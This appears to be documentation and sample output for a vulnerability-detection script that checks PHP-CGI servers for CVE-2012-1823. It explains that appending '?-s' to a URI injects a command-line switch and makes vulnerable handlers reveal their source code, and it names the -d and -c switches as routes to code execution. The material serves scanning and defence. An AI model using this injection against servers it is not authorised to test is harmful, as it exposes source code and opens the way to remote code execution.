Detects PHP-CGI installations that are vulnerable to CVE-2012-1823, This
critical vulnerability allows attackers to retrieve source code and execute
code remotely.
The script works by appending "?-s" to the uri to make vulnerable php-cgi
handlers return colour syntax highlighted source. We use the pattern "<span
style=.*><?" to detect
vulnerable installations.

-- | PHP-CGI Remote code execution and source code disclosure
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:2012-1823
-- | Description:
-- | According to PHP's website, "PHP is a widely-used general-purpose
-- | scripting language that is especially suited for Web development and
-- | can be embedded into HTML." When PHP is used in a CGI-based setup
-- | (such as Apache's mod_cgid), the php-cgi receives a processed query
-- | string parameter as command line arguments which allows command-line
-- | switches, such as -s, -d or -c to be passed to the php-cgi binary,
-- | which can be exploited to disclose source code and obtain arbitrary
-- | code execution.
